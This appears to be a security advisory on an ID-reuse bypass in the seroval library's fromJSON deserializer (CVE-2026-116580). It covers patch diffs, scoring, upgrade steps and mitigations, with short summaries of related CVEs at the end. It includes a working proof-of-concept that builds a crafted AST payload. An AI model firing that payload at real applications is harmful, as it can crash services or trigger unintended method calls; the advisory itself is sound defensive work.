Oct 29, 2026·12 min read·2 visits
An incomplete fix for CVE-2026-59940 in `seroval` (< 1.6.8) allows untrusted JSON AST inputs to reuse unmarked node IDs during `fromJSON` deserialization, tricking `AsyncIteratorFactoryInstance` into calling `source.on(listener)` on attacker-chosen objects or application plugin outputs.
Seroval versions prior to 1.6.8 contain an insecure deserialization vulnerability (CWE-502) in the `fromJSON` parser. When reconstructing `AsyncIteratorFactoryInstance` or `IteratorFactoryInstance` nodes, the deserializer verifies the source node type using its identifier in the AST lookup table rather than verifying the runtime identity of the deserialized object. Because unmarked node identifiers omitted from the `m` reference array can be reused in vanilla deserialization mode, an attacker can substitute an arbitrary plain object or plugin-produced value as the stream source. This causes the runtime to invoke `.on(listener)` on an attacker-controlled target.
Seroval (lxsmnsyc/seroval) is a JavaScript serialization library designed to stringify and reconstruct complex data types that standard JSON.stringify and JSON.parse cannot handle. These data types include Promise instances, Iterable and AsyncIterable sequences, circular references, Symbol instances, and custom internal Stream constructs. To support full-fidelity reconstruction across client-server boundaries or worker threads, Seroval compiles JavaScript values into a compact Abstract Syntax Tree (AST) represented as JSON, which can then be hydrated back into live JavaScript runtime objects via the fromJSON function.
When an application exposes an endpoint or message handler that passes untrusted input directly to fromJSON, the deserialization engine becomes a security-critical boundary. In versions prior to 1.6.8, the routines responsible for reconstructing synchronous and asynchronous iterators (deserializeIteratorFactoryInstance and deserializeAsyncIteratorFactoryInstance) contain a type verification flaw classified under CWE-502 (Deserialization of Untrusted Data).
This vulnerability is an incomplete-fix variant of CVE-2026-59940. The original patch for CVE-2026-59940 attempted to prevent forged stream objects by verifying that the AST node ID referenced as the iterator's data source had been previously recorded in the parser context with a valid stream or sequence node type (SerovalNodeType.StreamConstructor or SerovalNodeType.Sequence).
However, in Seroval's vanilla deserialization mode, node identifiers that are omitted from the top-level marked reference array (m) are not protected against identifier collisions or reuse. A crafted payload can register a legitimate stream or sequence node under a specific ID to satisfy the metadata table check, and subsequently reuse that exact ID for an arbitrary plain object or a value returned by a custom Seroval plugin. When fromJSON completes reconstruction of the async iterator, it invokes source.on(listener) on the substituted runtime object without confirming that source is an authentic internal Stream instance.
To understand the root cause of CVE-2026-116580, it is necessary to examine how Seroval tracks object references and validates internal constructs during AST traversal. Every serialized node in a Seroval JSON payload includes a numeric type tag (t) and an integer identifier (i). When an object is referenced multiple times within a serialized graph, its ID is added to the payload's reference table array m. During deserialization, the context tracks indexed values so shared references resolve to the same runtime instance.
In earlier versions of Seroval, internal streams and sequences were identified using duck-typed brand properties on plain JavaScript objects: { __SEROVAL_STREAM__: true } and { __SEROVAL_SEQUENCE__: true }. Because untrusted JSON payloads or application plugins could trivially forge plain objects containing those property keys, the maintainers introduced two mechanisms to enforce authenticity: node type tracking via validateNodeType and lexical class checks.
The flaw in deserializeAsyncIteratorFactoryInstance and deserializeIteratorFactoryInstance lies in separating the validation target (the node's integer ID node.a[1].i) from the actual deserialized runtime value (source). Specifically, the deserializer executed:
const source = deserialize(ctx, depth, node.a[1]);
validateNodeType(ctx, node, node.a[1].i, SerovalNodeType.StreamConstructor);While guardIndexedValue prevents reusing an ID that is actively tracked in the m reference array, vanilla mode deserialization does not enforce uniqueness for unmarked IDs (IDs absent from m). When the parser first visits a genuine StreamConstructor node with i: 3, it records in its type map that ID 3 corresponds to SerovalNodeType.StreamConstructor. Because 3 is not in m, a subsequent AST node located inside node.a[1] of an AsyncIteratorFactoryInstance can also declare i: 3 while carrying a completely different type tag—such as a plain object (t: 10) or a custom plugin node.
When deserializeAsyncIteratorFactoryInstance processes node.a[1], deserialize(ctx, depth, node.a[1]) evaluates the second node and returns the forged object as source. Immediately afterward, validateNodeType checks the recorded node type for node.a[1].i (which is 3). Because the type map still associates ID 3 with the earlier StreamConstructor node, the validation succeeds. The deserializer then passes the unverified source object into streamToAsyncIterable(source), which immediately executes source.on({ next, throw, return }). If source is an object created by an application plugin that exposes an .on method, or a callable object with side effects, the runtime executes that method with the internal listener dictionary as its argument.
The remediation for CVE-2026-116580 was implemented across two commits released in seroval@1.6.8. The first commit (3edc78b495ea0d6bd498143e5b3e56996607c5f2) replaced the forgeable __SEROVAL_STREAM__ and __SEROVAL_SEQUENCE__ marker properties with unexported ES6 classes (class Stream<T> and class Sequence). Because these classes are not exported outside the internal module scope, external plugins and plain object literals cannot instantiate them, making instanceof Stream and instanceof Sequence unforgeable runtime guards.
The second commit (50926b3ee198fb757e6ce3aa70efeed38d931c8d) directly addressed the identifier reuse bypass in packages/seroval/src/core/context/deserializer.ts. Instead of querying the AST metadata table via validateNodeType, the patched functions inspect the deserialized source value directly using isSequence(source) and isStream(source).
// BEFORE PATCH (Vulnerable implementation in packages/seroval/src/core/context/deserializer.ts)
function deserializeIteratorFactoryInstance(
ctx: BaseDeserializerContext,
depth: number,
node: SerovalIteratorFactoryInstanceNode,
): unknown {
deserialize(ctx, depth, node.a[0]);
const source = deserialize(ctx, depth, node.a[1]);
// VULNERABLE: Validates the ID's recorded node type in ctx rather than the
// runtime identity of `source`. An unmarked ID omitted from `m` can be
// claimed by a genuine Sequence node first, then reused by a forged node.
validateNodeType(ctx, node, node.a[1].i, SerovalNodeType.Sequence);
if (!source) {
throw new SerovalMalformedNodeError(node.a[1]);
}
return sequenceToIterator(source as Sequence);
}
function deserializeAsyncIteratorFactoryInstance(
ctx: BaseDeserializerContext,
depth: number,
node: SerovalAsyncIteratorFactoryInstanceNode,
): unknown {
deserialize(ctx, depth, node.a[0]);
const source = deserialize(ctx, depth, node.a[1]);
// VULNERABLE: Checks `node.a[1].i` against SerovalNodeType.StreamConstructor.
// Does not verify that `source` is an actual Stream class instance.
validateNodeType(ctx, node, node.a[1].i, SerovalNodeType.StreamConstructor);
if (!source) {
throw new SerovalMalformedNodeError(node.a[1]);
}
return streamToAsyncIterable(source as Stream<unknown>);
}In the patched implementation, validateNodeType is removed from both factory instance deserializers and replaced with isSequence and isStream predicate checks:
// AFTER PATCH (Fixed in commit 50926b3ee198fb757e6ce3aa70efeed38d931c8d)
function deserializeIteratorFactoryInstance(
ctx: BaseDeserializerContext,
depth: number,
node: SerovalIteratorFactoryInstanceNode,
): unknown {
deserialize(ctx, depth, node.a[0]);
const source = deserialize(ctx, depth, node.a[1]);
// FIXED: Verifies via `instanceof Sequence` that the runtime value `source`
// is an authentic internal Sequence object before passing it to sequenceToIterator.
if (!isSequence(source)) {
throw new SerovalMalformedNodeError(node.a[1]);
}
return sequenceToIterator(source);
}
function deserializeAsyncIteratorFactoryInstance(
ctx: BaseDeserializerContext,
depth: number,
node: SerovalAsyncIteratorFactoryInstanceNode,
): unknown {
deserialize(ctx, depth, node.a[0]);
const source = deserialize(ctx, depth, node.a[1]);
// FIXED: Verifies via `instanceof Stream` that `source` is a genuine internal
// Stream instance. Prevents fake streams or plugin objects from having `.on()` called.
if (!isStream(source)) {
throw new SerovalMalformedNodeError(node.a[1]);
}
return streamToAsyncIterable(source);
}> [!NOTE]
> Fix Completeness Assessment: Combining lexical class encapsulation (3edc78b495ea0d6bd498143e5b3e56996607c5f2) with direct runtime value checks (50926b3ee198fb757e6ce3aa70efeed38d931c8d) completely eliminates this bug class for iterator and async iterator factories. Because isStream and isSequence perform instanceof checks against unexported class constructors, no combination of AST identifier aliasing, unmarked reference reuse, or custom plugin deserialization can produce a value that passes the guard unless it was instantiated by Seroval's internal createStream or createSequence functions.
Exploiting CVE-2026-116580 requires an application to deserialize untrusted JSON data via fromJSON. To achieve meaningful security impact beyond throwing an unhandled TypeError (when source.on is undefined or not a function), the target application typically must configure fromJSON with custom Seroval plugins that can construct objects exposing an .on method (such as EventEmitter subclasses, stream wrappers, or RPC proxy objects) or construct plain objects whose properties interact with downstream code.
The attack consists of constructing a two-part Seroval AST inside an outer container object (t: 10). First, the payload defines a legitimate StreamConstructor node (t: 31) assigned an integer identifier i: 3, while deliberately omitting 3 from the top-level marked reference array m: [1]. When the deserializer walks the first element of the container array, it processes the StreamConstructor and registers ID 3 as a valid stream node in the context.
Second, in the adjacent branch of the container array, the payload places an AsyncIteratorFactoryInstance node (t: 30). The second argument of this node (node.a[1], which specifies the iterator's underlying stream source) is populated with a forged node that also carries i: 3. Because 3 is absent from m, the parser does not block the duplicate ID and evaluates the forged node instead.
import { fromJSON } from 'seroval';
// Helper that constructs an AST with a container object (id 0) and marked reference [1].
// ID 3 is intentionally excluded from `m` so it remains unmarked in vanilla mode.
function reusedIdTree(instance: unknown): Parameters<typeof fromJSON>[0] {
return {
t: {
t: 10, // Plain object container
i: 0,
p: {
k: ['a', { t: 17, i: 1, s: 3 }],
v: [instance, null],
},
o: 0,
},
f: 0x7f,
m: [1], // Only ID 1 is marked; ID 3 can be reused without triggering guardIndexedValue
} as unknown as Parameters<typeof fromJSON>[0];
}
// Constructs a forged plain object (t: 10) reusing a target ID
function forgedSource(id: number): unknown {
return {
t: 10,
i: id,
p: {
k: ['v', 't', 'd'],
v: [
{ t: 9, i: 100, a: [{ t: 0, s: 1 }], o: 0 },
{ t: 0, s: -1 },
{ t: 1, s: 'x' },
],
},
o: 0,
};
}
// 1. Place a genuine StreamConstructor (t: 31) with ID 3 in slot v[0]
const json = reusedIdTree({
t: 31,
i: 3,
a: [],
f: { t: 26, i: 5, s: 4 },
});
// 2. Place an AsyncIteratorFactoryInstance (t: 30) in slot v[1]
// Its source argument (a[1]) reuses ID 3 via forgedSource(3)
(json.t as unknown as { p: { v: unknown[] } }).p.v[1] = {
t: 30,
a: [
{ t: 29, i: 2, a: [{ t: 26, i: 6, s: 1 }, { t: 4, i: 1 }] },
forgedSource(3),
],
};
// In seroval < 1.6.8, validateNodeType passes for ID 3, and streamToAsyncIterable
// attempts to invoke source.on(...) on the forged object (or plugin return value).
// In seroval >= 1.6.8, isStream(source) returns false and throws SerovalMalformedNodeError.
fromJSON(json);If an application plugin is registered in the plugins option of fromJSON, the attacker can replace forgedSource(3) with a plugin node (SerovalNodeType.Plugin) assigned i: 3. When fromJSON runs, the plugin deserializes its payload and returns a domain-specific object or function. streamToAsyncIterable then immediately invokes .on({ next, throw, return }) on that plugin-produced instance, triggering unexpected event listener registration or arbitrary callback execution.
CVE-2026-116580 carries a CVSS v3.1 base score of 7.3 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L. The Attack Vector is Network (AV:N) and requires neither privileges (PR:N) nor user interaction (UI:N) because Seroval is frequently integrated into full-stack JavaScript frameworks, server-side rendering (SSR) state hydration pipelines, and RPC layers that parse serialized JSON requests over HTTP or WebSockets.
The Attack Complexity is Low (AC:L) because the identifier reuse behavior is deterministic and does not depend on memory layout or timing conditions. Any endpoint passing client-controlled JSON AST structures to fromJSON in vanilla mode is directly reachable.
The Confidentiality (C:L), Integrity (I:L), and Availability (A:L) impacts are rated as Low because the exact consequences of invoking source.on(listener) depend on the capabilities of the objects available within the target application's deserialization context:
.on property causes streamToAsyncIterable to throw an unhandled TypeError: source.on is not a function instead of a structured SerovalError, which can crash the worker process or terminate request handling if the application only catches Seroval-specific exception classes.seroval-plugins or custom plugins that deserialize objects exposing an .on method (such as Node.js EventEmitter instances, database connection wrappers, message bus clients, or reactive stores), the attacker can force the runtime to attach an internal stream listener or invoke side-effecting .on() logic during deserialization.Organizations and developers using seroval or seroval-plugins should upgrade immediately to version 1.6.8 or later. Version 1.6.8 incorporates both the unexported Stream and Sequence class wrappers and the runtime isStream/isSequence validation checks in fromJSON.
# Upgrade using npm
npm install seroval@^1.6.8 seroval-plugins@^1.6.8
# Upgrade using yarn
yarn add seroval@^1.6.8 seroval-plugins@^1.6.8
# Upgrade using pnpm
pnpm add seroval@^1.6.8 seroval-plugins@^1.6.8In environments where dependencies are bundled transitively through meta-frameworks or RPC libraries, inspect the lockfile (package-lock.json, yarn.lock, or pnpm-lock.yaml) to verify that all resolved instances of seroval are at least 1.6.8. Use package manager overrides (overrides in package.json or resolutions in Yarn) if an upstream framework pins an older 1.x release.
If immediate patching is not feasible, apply the following architectural mitigations to reduce exposure:
fromJSON. If client-to-server communication only requires standard JSON data types, use native JSON.parse instead of Seroval.fromJSON(..., { plugins: [...] }). Ensure that no plugin deserialize callback returns callable functions or objects with an .on method that performs privileged state changes or I/O operations.fromJSON, inspect incoming AST payloads and reject any payload containing AsyncIteratorFactoryInstance (t: 30) or IteratorFactoryInstance (t: 28) nodes if the application does not require streaming iterator deserialization.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
seroval lxsmnsyc | < 1.6.8 | 1.6.8 |
seroval-plugins lxsmnsyc | < 1.6.8 | 1.6.8 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-502: Deserialization of Untrusted Data |
| Affected Component | seroval / seroval-plugins (< 1.6.8) fromJSON deserializer |
| Attack Vector | Network (AV:N) via crafted Seroval JSON AST payload |
| CVSS v3.1 Score | 7.3 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) |
| EPSS Score | 0.34% (27.60th percentile) |
| Impact | Arbitrary .on(listener) invocation on attacker-selected or plugin-produced objects |
| Exploit Status | Proof-of-Concept (Regression test suite reproduction) |
| CISA KEV Status | Not Listed |
The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid, enabling attackers to trigger unexpected method invocations or state changes.
A session-binding vulnerability in Python Social Auth (social-core) versions prior to 6.2.0 allows an attacker to perform authorization code injection against the OpenID Connect authentication backend. By storing generated OIDC nonces in a global database table without binding them to the initiating browser session, the library accepts any valid, unexpired nonce returned in an ID token regardless of which session originated the authentication transaction. When combined with the default disablement of Proof Key for Code Exchange (PKCE), an attacker who intercepts an unused authorization code can inject it into their own authentication flow to achieve full account takeover.
CVE-2026-111497, tracked in threat intelligence under the aliases Node2Shell, Broccoli2Shell, and HTTP2Shell, is a critical out-of-bounds heap write and denial-of-service vulnerability in the reference Google Brotli decompression library (c/dec/decode.c). The flaw originates from an unchecked return value and error-code conflation in DecodeBlockTypeAndLength() when processing malformed streams with single-block-type declarations (max_block_type <= 1). On the fast decoding path, the ignored error return causes the 32-bit unsigned block_length counter to underflow from 0 to UINT32_MAX (0xFFFFFFFF), corrupting internal decoder tables and enabling arbitrary heap memory overwrites via memmove16(). On the streaming path, the error return is misinterpreted as an incomplete bit-stream, trapping the worker process in an infinite 100% CPU loop. Because Google Brotli is embedded across major runtimes and infrastructure components—including Node.js, Envoy Proxy, Microsoft .NET, Istio, and Python—the vulnerability exposes a broad attack surface via standard HTTP Content-Encoding: br request and response bodies.
CVE-2026-116575 (GHSA-5324-3w58-qpp2) is an unescaped delimiter injection and canonicalization flaw in the Mem0 persistent memory platform for AI agents and applications. Prior to Python SDK version 2.0.18 and TypeScript SDK version 3.1.6, the session scope key construction functions join caller-controlled user_id, agent_id, and run_id identifiers using raw '=' and '&' delimiters without sanitization. An attacker who controls one of these identifiers in a multi-tenant deployment can inject delimiter sequences to force a string collision with a target tenant's session scope key, resulting in unauthorized disclosure, poisoning, or eviction of the target tenant's recent conversation buffer.
A Denial of Service (DoS) vulnerability exists in the Seroval JavaScript serialization library affecting versions 1.4.1 through 1.6.7. The deserialization routines fromJSON and fromCrossJSON fail to verify that node element lists are actual JavaScript Array primitives before reading their length property. An unauthenticated remote attacker can supply a compact, malformed JSON payload containing an array-like object with an arbitrary length value, causing unbounded memory allocation and synchronous loop iterations that block the event loop or crash the process via heap exhaustion.
Seroval, a JavaScript serialization library used for transferring complex structures across network boundaries, contains an input validation vulnerability in versions prior to 1.6.8. The `fromJSON` and `fromCrossJSON` deserializers fail to validate array element lists and the termination boundaries (`done` and `throw` indices) of sequence nodes. By supplying out-of-bounds indices or forged array-like structures, an unauthenticated remote attacker can construct an iterator with an unreachable exit condition or trigger excessive loop iterations, halting the single-threaded JavaScript event loop and causing a denial of service.
CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.